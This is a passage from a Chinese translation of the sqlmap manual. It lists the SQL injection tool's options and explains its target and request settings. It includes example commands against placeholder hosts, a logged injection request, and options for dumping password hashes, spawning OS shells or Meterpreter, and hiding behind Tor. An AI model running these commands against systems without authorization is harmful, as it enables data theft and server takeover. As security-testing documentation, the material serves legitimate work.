用法:python sqlmap.py [选项] 选项: -h, --help 显示基本帮助信息并退出 -hh 显示高级帮助信息并退出 --version 显示程序版本信息并退出 -v VERBOSE 输出信息详细程度级别:0-6(默认为 1) 目标: 至少提供一个以下选项以指定目标 -d DIRECT 直接连接数据库 -u URL, --url=URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1") -l LOGFILE 从 Burp 或 WebScarab 代理的日志文件中解析目标地址 -m BULKFILE 从文本文件中获取批量目标 -r REQUESTFILE 从文件中读取 HTTP 请求 -g GOOGLEDORK 使用 Google dork 结果作为目标 -c CONFIGFILE 从 INI 配置文件中加载选项 请求: 以下选项可以指定连接目标地址的方式 --method=METHOD 强制使用提供的 HTTP 方法(例如:PUT) --data=DATA 使用 POST 发送数据串(例如:"id=1") --param-del=PARA.. 设置参数值分隔符(例如:&) --cookie=COOKIE 指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..") --cookie-del=COO.. 设置 cookie 分隔符(例如:;) --load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的文件 --drop-set-cookie 忽略 HTTP 响应中的 Set-Cookie 参数 --user-agent=AGENT 指定 HTTP User-Agent --random-agent 使用随机的 HTTP User-Agent --host=HOST 指定 HTTP Host --referer=REFERER 指定 HTTP Referer -H HEADER, --hea.. 设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1") --headers=HEADERS 设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP 认证方式(Basic,Digest,NTLM 或 PKI) --auth-cred=AUTH.. HTTP 认证凭证(username:password) --auth-file=AUTH.. HTTP 认证 PEM 证书/私钥文件 --ignore-code=IG.. 忽略(有问题的)HTTP 错误码(例如:401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接目标 URL --proxy-cred=PRO.. 使用代理进行认证(username:password) --proxy-file=PRO.. 从文件中加载代理列表 --tor 使用 Tor 匿名网络 --tor-port=TORPORT 设置 Tor 代理端口代替默认端口 --tor-type=TORTYPE 设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认)) --check-tor 检查是否正确使用了 Tor --delay=DELAY 设置每个 HTTP 请求的延迟秒数 --timeout=TIMEOUT 设置连接响应的有效秒数(默认为 30) --retries=RETRIES 连接超时时重试次数(默认为 3) --randomize=RPARAM 随机更改给定的参数值 --safe-url=SAFEURL 测试过程中可频繁访问且合法的 URL 地址(译者注: 有些网站在你连续多次访问错误地址时会关闭会话连接, 后面的“请求”小节有详细说明) --safe-post=SAFE.. 使用 POST 方法发送合法的数据 --safe-req=SAFER.. 从文件中加载合法的 HTTP 请求 --safe-freq=SAFE.. 每访问两次给定的合法 URL 才发送一次测试请求 --skip-urlencode 不对 payload 数据进行 URL 编码 --csrf-token=CSR.. 设置网站用来反 CSRF 攻击的 token --csrf-url=CSRFURL 指定可提取防 CSRF 攻击 token 的 URL --force-ssl 强制使用 SSL/HTTPS --hpp 使用 HTTP 参数污染攻击 --eval=EVALCODE 在发起请求前执行给定的 Python 代码(例如: "import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 以下选项用于优化 sqlmap 性能 -o 开启所有优化开关 --predict-output 预测常用请求的输出 --keep-alive 使用持久的 HTTP(S) 连接 --null-connection 仅获取页面大小而非实际的 HTTP 响应 --threads=THREADS 设置 HTTP(S) 请求并发数最大值(默认为 1) 注入: 以下选项用于指定要测试的参数, 提供自定义注入 payloads 和篡改参数的脚本 -p TESTPARAMETER 指定需要测试的参数 --skip=SKIP 指定要跳过的参数 --skip-static 指定跳过非动态参数 --param-exclude=.. 用正则表达式排除参数(例如:"ses") --dbms=DBMS 指定后端 DBMS(Database Management System, 数据库管理系统)类型(例如:MySQL) --dbms-cred=DBMS.. DBMS 认证凭据(username:password) --os=OS 指定后端 DBMS 的操作系统类型 --invalid-bignum 将无效值设置为大数 --invalid-logical 对无效值使用逻辑运算 --invalid-string 对无效值使用随机字符串 --no-cast 关闭 payload 构造机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入 payload 的前缀字符串 --suffix=SUFFIX 注入 payload 的后缀字符串 --tamper=TAMPER 用给定脚本修改注入数据 检测: 以下选项用于自定义检测方式 --level=LEVEL 设置测试等级(1-5,默认为 1) --risk=RISK 设置测试风险等级(1-3,默认为 1) --string=STRING 用于确定查询结果为真时的字符串 --not-string=NOT.. 用于确定查询结果为假时的字符串 --regexp=REGEXP 用于确定查询结果为真时的正则表达式 --code=CODE 用于确定查询结果为真时的 HTTP 状态码 --text-only 只根据页面文本内容对比页面 --titles 只根据页面标题对比页面 技术: 以下选项用于调整特定 SQL 注入技术的测试方法 --technique=TECH 使用的 SQL 注入技术(默认为“BEUSTQ”,译者注: B: Boolean-based blind SQL injection(布尔型盲注) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(联合查询注入) S: Stacked queries SQL injection(堆叠查询注入) T: Time-based blind SQL injection(时间型盲注) Q: inline Query injection(内联查询注入) --time-sec=TIMESEC 延迟 DBMS 的响应秒数(默认为 5) --union-cols=UCOLS 设置联合查询注入测试的列数目范围 --union-char=UCHAR 用于暴力猜解列数的字符 --union-from=UFROM 设置联合查询注入 FROM 处用到的表 --dns-domain=DNS.. 设置用于 DNS 渗出攻击的域名(译者注: 推荐阅读《在SQL注入中使用DNS获取数据》 http://cb.drops.wiki/drops/tips-5283.html, 在后面的“技术”小节中也有相应解释) --second-url=SEC.. 设置二阶响应的结果显示页面的 URL(译者注: 该选项用于 SQL 二阶注入) --second-req=SEC.. 从文件读取 HTTP 二阶请求 指纹识别: -f, --fingerprint 执行广泛的 DBMS 版本指纹识别 枚举: 以下选项用于获取后端 DBMS 的信息,结构和数据表中的数据。 此外,还可以运行你输入的 SQL 语句 -a, --all 获取所有信息、数据 -b, --banner 获取 DBMS banner --current-user 获取 DBMS 当前用户 --current-db 获取 DBMS 当前数据库 --hostname 获取 DBMS 服务器的主机名 --is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员) --users 枚举出 DBMS 所有用户 --passwords 枚举出 DBMS 所有用户的密码哈希 --privileges 枚举出 DBMS 所有用户特权级 --roles 枚举出 DBMS 所有用户角色 --dbs 枚举出 DBMS 所有数据库 --tables 枚举出 DBMS 数据库中的所有表 --columns 枚举出 DBMS 表中的所有列 --schema 枚举出 DBMS 所有模式 --count 获取数据表数目 --dump 导出 DBMS 数据库表项 --dump-all 导出所有 DBMS 数据库表项 --search 搜索列,表和/或数据库名 --comments 枚举数据时检查 DBMS 注释 -D DB 指定要枚举的 DBMS 数据库 -T TBL 指定要枚举的 DBMS 数据表 -C COL 指定要枚举的 DBMS 数据列 -X EXCLUDE 指定不枚举的 DBMS 标识符 -U USER 指定枚举的 DBMS 用户 --exclude-sysdbs 枚举所有数据表时,指定排除特定系统数据库 --pivot-column=P.. 指定主列 --where=DUMPWHERE 在转储表时使用 WHERE 条件语句 --start=LIMITSTART 指定要导出的数据表条目开始行数 --stop=LIMITSTOP 指定要导出的数据表条目结束行数 --first=FIRSTCHAR 指定获取返回查询结果的开始字符位 --last=LASTCHAR 指定获取返回查询结果的结束字符位 --sql-query=QUERY 指定要执行的 SQL 语句 --sql-shell 调出交互式 SQL shell --sql-file=SQLFILE 执行文件中的 SQL 语句 暴力破解: 以下选项用于暴力破解测试 --common-tables 检测常见的表名是否存在 --common-columns 检测常用的列名是否存在 用户自定义函数注入: 以下选项用于创建用户自定义函数 --udf-inject 注入用户自定义函数 --shared-lib=SHLIB 共享库的本地路径 访问文件系统: 以下选项用于访问后端 DBMS 的底层文件系统 --file-read=FILE.. 读取后端 DBMS 文件系统中的文件 --file-write=FIL.. 写入到后端 DBMS 文件系统中的文件 --file-dest=FILE.. 使用绝对路径写入到后端 DBMS 中的文件 访问操作系统: 以下选项用于访问后端 DBMS 的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 调出交互式操作系统 shell --os-pwn 调出 OOB shell,Meterpreter 或 VNC --os-smbrelay 一键调出 OOB shell,Meterpreter 或 VNC --os-bof 利用存储过程的缓冲区溢出 --priv-esc 数据库进程用户提权 --msf-path=MSFPATH Metasploit 框架的本地安装路径 --tmp-path=TMPPATH 远程临时文件目录的绝对路径 访问 Windows 注册表: 以下选项用于访问后端 DBMS 的 Windows 注册表 --reg-read 读取一个 Windows 注册表键值 --reg-add 写入一个 Windows 注册表键值数据 --reg-del 删除一个 Windows 注册表键值 --reg-key=REGKEY 指定 Windows 注册表键 --reg-value=REGVAL 指定 Windows 注册表键值 --reg-data=REGDATA 指定 Windows 注册表键值数据 --reg-type=REGTYPE 指定 Windows 注册表键值类型 通用选项: 以下选项用于设置通用的参数 -s SESSIONFILE 从文件(.sqlite)中读入会话信息 -t TRAFFICFILE 保存所有 HTTP 流量记录到指定文本文件 --batch 从不询问用户输入,使用默认配置 --binary-fields=.. 具有二进制值的结果字段(例如:"digest") --check-internet 在访问目标之前检查是否正常连接互联网 --crawl=CRAWLDEPTH 从目标 URL 开始爬取网站 --crawl-exclude=.. 用正则表达式筛选爬取的页面(例如:"logout") --csv-del=CSVDEL 指定输出到 CVS 文件时使用的分隔符(默认为“,”) --charset=CHARSET 指定 SQL 盲注字符集(例如:"0123456789abcdef") --dump-format=DU.. 导出数据的格式(CSV(默认),HTML 或 SQLITE) --encoding=ENCOD.. 指定获取数据时使用的字符编码(例如:GBK) --eta 显示每个结果输出的预计到达时间 --flush-session 清空当前目标的会话文件 --forms 解析并测试目标 URL 的表单 --fresh-queries 忽略存储在会话文件中的查询结果 --har=HARFILE 将所有 HTTP 流量记录到一个 HAR 文件中 --hex 获取数据时使用 hex 转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 从响应中解析并显示 DBMS 错误信息 --preprocess=PRE.. 使用给定脚本预处理响应数据 --repair 重新导出具有未知字符的数据(?) --save=SAVECONFIG 将选项设置保存到一个 INI 配置文件 --scope=SCOPE 用正则表达式从提供的代理日志中过滤目标 --test-filter=TE.. 根据 payloads 和/或标题(例如:ROW)选择测试 --test-skip=TEST.. 根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试 --update 更新 sqlmap 杂项: -z MNEMONICS 使用短助记符(例如:“flu,bat,ban,tec=EU”) --alert=ALERT 在找到 SQL 注入时运行 OS 命令 --answers=ANSWERS 设置预定义回答(例如:“quit=N,follow=N”) --beep 出现问题提醒或在发现 SQL 注入时发出提示音 --cleanup 指定移除 DBMS 中的特定的 UDF 或者数据表 --dependencies 检查 sqlmap 缺少(可选)的依赖 --disable-coloring 关闭彩色控制台输出 --gpage=GOOGLEPAGE 指定页码使用 Google dork 结果 --identify-waf 针对 WAF/IPS 防护进行彻底的测试 --mobile 使用 HTTP User-Agent 模仿智能手机 --offline 在离线模式下工作(仅使用会话数据) --purge 安全删除 sqlmap data 目录所有内容 --skip-waf 跳过启发式检测 WAF/IPS 防护 --smart 只有在使用启发式检测时才进行彻底的测试 --sqlmap-shell 调出交互式 sqlmap shell --tmp-dir=TMPDIR 指定用于存储临时文件的本地目录 --web-root=WEBROOT 指定 Web 服务器根目录(例如:"/var/www") --wizard 适合初级用户的向导界面
选项:-v
该选项用于设置输出信息的详细等级,共有七个级别。默认级别为 1,输出包括普通信息,警告,错误,关键信息和 Python 出错回遡信息(如果有的话)。
使用等级 2 能更好地了解 sqlmap 内部实现了什么,特别是在检测阶段和使用接管功能时。如果你想知道 sqlmap 发送了什么 SQL payloads,等级 3 是最佳选择。在你为开发者系统提供潜在的 Bug 报告时,推荐使用这个等级,同时附加上使用选项 -t
生成的流量日志文件标准输出文件。
需要更深入地检测潜在 Bugs 或应对未知情况时,推荐使用 4 或以上等级。应当注意,还可以使用该选项的短名称来设置详细等级,其中提供的开关(而不是选项)用字母 v
的个数来确定详细等级(例如:用 -v
代替 -v 2
,用 -vv
代替 -v 3
,用 -vvv
代替 -v 4
,依此类推)。
至少提供以下其中一个选项,用于指定目标。
选项:-d
针对单一数据库实例运行 sqlmap 工具。这个选项可设置为下面格式的连接字符串:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等。)DBMS://DATABASE_FILEPATH
(SQLite,Microsoft Access,Firebird 等。)例如:
$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\ er --dbs --users
选项:-u
或 --url
针对单一目标 URL 运行 sqlmap。这个选项可设置为下面格式的 URL:
http(s)://targeturl[:port]/[...]
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\ -users
选项:-l
除了可以提供单个目标 URL,还可以测试并注入 Burp 代理或者 WebScarab 代理代理的 HTTP 请求。使用这个参数时,需要提供代理 HTTP 请求的日志文件。
选项:-x
通过站点地图,站点管理者可以列出网站的所有页面位置,用于告知搜索引擎站点的内容结构。你可以使用选项 -x
提供站点地图地址给 sqlmap(例如:-x http://www.target.com/sitemap.xml
)以搜寻可用的目标 URLs。
选项:-m
通过文本文件提供一个目标 URLs 列表,sqlmap 会逐个进行扫描检测。
样本文件所提供的 URLs 列表示例:
www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*
选项:-r
sqlmap 可以从一个文本中读取原始的 HTTP 请求。通过这种方式,你能够免于设置部分选项(例如:设置 cookies,POST 数据等参数)。
HTTP 请求文件数据样本如下:
POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0 id=1
如果相关的请求是 HTTPS,你可以结合 --force-ssl
开关强制使用 SSL 进行 443/tcp 连接。或者,你可以在 Host
头部信息后面直接加上 :443
。
选项:-g
sqlmap 同时支持根据 Google dork 返回结果测试并注入 GET 参数。
这个选项使得 sqlmap 能够和搜索引擎当前会话 cookies 进行内容交互,进行相关的搜索操作。然后 sqlmap 会获取 Google dork 表达式筛选出的前 100 个返回结果及附带的 GET 参数,并且询问你是否对每个可能存在注入的 URL 进行测试注入。
例如:
$ python sqlmap.py -g "inurl:\".php?id=1\""
选项:-c
sqlmap 支持从 INI 配置文件中读取用户的选项配置,例如:sqlmap.conf
。
需要注意的是,如果你在命令行调用时,同时提供了相关的选项设置,则配置文件中的选项会被覆盖失效。
以下选项用于指定如何连接目标 URL。
选项:--method
sqlmap 能自动检测 HTTP 请求中使用的 HTTP 方法。然而在某些情况下,可能需要强制指定使用 sqlmap 自动化不会使用的 HTTP 方法(例如:PUT
)。因而该选项是可能被用到的(例如:--method=PUT
)。
选项:--data
HTTP 请求默认使用的方法是 GET,你可以通过在请求中提供对应发送的数据隐式地将 GET 改成 POST。对应参数也会像 GET 参数一样,用于测试是否存在 SQL 注入的可能。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\ r --dbs --users
选项:--param-del
有些情况下,需要覆盖默认参数分隔符(例如:在 GET 和 POST 数据中的 &
),以便 sqlmap 能够正确切割并处理每个参数。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\ 1" --param-del=";" -f --banner --dbs --users
Cookie
请求头选项和开关:--cookie
,--cookie-del
,--load-cookies
和 --drop-set-cookie
这些选项和开关可用于以下两种情况:
不管是哪种情况,你需要使用 sqlmap 发送带有 cookies 的请求,步骤如下:
--cookie
的值运行 sqlmap。注意,HTTP Cookie
值通常由字符 ;
分隔,而不是使用 &
。sqlmap 也可以将它们识别为 parameter=value
即参数值对,对应的 GET 和 POST 参数也一样。如果分隔字符不是 ;
,则可以使用选项 --cookie-del
来指定。
在通信期间的任何时刻,如果 Web 应用程序的响应包含 Set-Cookie
响应头,sqlmap 将在所有其他 HTTP 请求中自动使用它的值作为 Cookie
的值。sqlmap 也将自动测试这些值是否存在 SQL 注入漏洞。这个特性可以通过提供开关 --drop-set-cookie
来关闭——sqlmap 则会忽略任何 Set-Cookie
响应头。
反之亦然,如果你提供一个带有选项 --cookie
的 HTTP Cookie
请求头,并且目标 URL 在任何时候都发送一个 HTTP Set-Cookie
响应头,sqlmap 会询问你使用哪一组 cookies 来用于接下来的 HTTP 请求。
还有一个选项 --load-cookies
,可以从包含 Netscape/wget 格式 cookies 的特殊文件中读取 cookies。
注意,如果 --level
设置为 2 或更高,则 sqlmap 会对 HTTP Cookie
请求头进行 SQL 注入测试。详情请看下文。
User-Agent
请求头选项和开关:--user-agent
和 --random-agent
默认情况下,sqlmap 使用以下 User-Agent
请求头值执行 HTTP 请求:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
不过,可以通过提供自定义 User-Agent 作为选项的参数,即选项 --user-agent
来伪造它。
此外,如果通过提供开关 --random-agent
,sqlmap 将从 ./txt/user-agents.txt
文本文件中随机选择一个 User-Agent
,并将其用于该会话中的所有 HTTP 请求。
一些站点会对 HTTP User-Agent
请求头值进行服务端检查,如果没有提供有效的 User-Agent
,它的值不是常规值或被 Web 应用程序防火墙或类似防御系统列入黑名单,则服务端会拒绝 HTTP 响应。在这种情况下,sqlmap 将显示如下信息:
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or --random-agent 译: [hh:mm:20] [错误] 目标网址回复了未知的 HTTP 状态码,请尝试使用选项 --user-agent 或 --random-agent 强制指定 HTTP User-Agent 请求头
注意,如果 --level
设置为 3 或以上,sqlmap 会对 HTTP User-Agent
请求头进行 SQL 注入测试。详情请看下文。
Host
请求头选项:--host
你可以手动设置 HTTP Host
请求头值。默认情况下,HTTP Host
请求头从提供的目标 URL 中解析。
注意,如果 --level
设置为 5 或以上,sqlmap 会对 HTTP User-Agent
请求头进行 SQL 注入测试。详情请看下文。
Referer
请求头选项:--referer
支持伪造 HTTP Referer
请求头值。如果没有进行显式设置,默认情况下不会在 HTTP 请求中发送 HTTP Referer
请求头。
注意,如果 --level
设置为 3 或更高,sqlmap 会对 HTTP Referer
请求头进行 SQL 注入测试。详情请看下文。
选项:--headers
可以通过设置选项 --headers
来提供额外的 HTTP 请求头。每个请求头必须用换行符分隔,更好的方式是从 INI 配置文件读取。你可以看看范本 sqlmap.conf
文件中的例子。
针对 MySQL 目标的示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \ "ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5 [...] [xx:xx:44] [TRAFFIC OUT] HTTP request [#5]: GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\ OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\ 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\ %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\ 20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\ 0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\ CTER_SETS%20GROUP%20BY%20x%29a% 29 HTTP/1.1 Host: www.target.com Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-agent: Firefox 1.0 Connection: close [...]
选项:--auth-type
和 --auth-cred
这些选项用于指定后端 Web 服务器实现的 HTTP 协议认证和所有向目标程序发起 HTTP 请求的有效凭据。
支持的三种 HTTP 协议认证机制是:
Basic
Digest
NTLM
认证凭据的语法是 username:password
。
一个符合语法的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\ =1" --auth-type Basic --auth-cred "testuser:testpass"
选项:--auth-file
当 Web 服务器需要正确的客户端证书和私钥进行身份验证时,应使用此选项。提供的值应为包含证书和私钥的 PEM 格式文件 key_file
。
生成适用于 --auth-file
选项的 key_file.txt
文件示例:
$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out auth_file.pem &&\ cat auth_file.key auth_file.pem > auth_file.txt && cat auth_file.txt Generating a 2048 bit RSA private key .........+++ ...........+++ writing new private key to 'auth_file.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []: -----BEGIN PRIVATE KEY----- MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9 9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL 4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/ anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8 Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb 1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP 8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0 5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc 7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4 fJkrlA16caVj3qGaX1lkm06OAA== -----END PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50 ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6 x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7 m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/ VA== -----END CERTIFICATE-----
开关 --ignore-401
如果你测试的目标站点偶尔会返回 HTTP 401(未授权)错误,而你想忽略它,不提供正确的凭据并继续测试,你可以使用开关--ignore-401
来关闭对应的出错提醒。
选项和开关:--proxy
,--proxy-cred
,--proxy-file
和 --ignore-proxy
可以使用选项 --proxy
并提供 HTTP(S) 代理地址使 HTTP(S) 请求经过该代理到达目标 URL。设置 HTTP(S) 代理的语法是 http://url:port
。
如果 HTTP(S) 代理需要身份验证,则可以对选项 --proxy-cred
使用 username:password
格式添加对应的凭证。
如果要使用(不稳定的)代理列表,在可能出现连接问题(例如:阻止侵入性 IP 地址)出现时跳过并使用下一个代理,可以使用选项 --proxy-file
并指定包含批量代理的文件。
当你想要使用 sqlmap 对本地局域网目标进行测试时应该使用开关 --ignore-proxy
来绕过系统级的 HTTP(S) 代理服务。
开关和选项:--tor
,--tor-port
,--tor-type
和 --check-tor
假如因为相关原因需要保持匿名,可以根据 Tor 安装指南配置一个 Tor 客户端和 Privoxy(或类似的)进行代理,而不是使用单个预定义的 HTTP(S) 代理服务器。接着就可以使用开关 --tor
来让 sqlmap 尝试自动设置 Tor 代理连接。
如果你想手动设置 Tor 代理的类型和端口,可以使用选项 --tor-type
和 --tor-port
(例如:--tor-type=SOCKS5 --tor-port 9050
)。
强烈建议偶尔使用 --check-tor
来确保一切设置正确。有些情况下 Tor 包(例如:Vidalia(译者注:Vidalia 是 Tor 的图形界面管理工具,官方已经移除对它的支持))配置错误(或重置了以前的配置)会使你以为已经成功匿名。使用这个开关,sqlmap 将在对任何目标发起请求之前发送一个请求到你正在使用 Tor?这个官方页面检查一切配置是否正常。如果检查失败,sqlmap 将警告你并直接退出。
选项:--delay
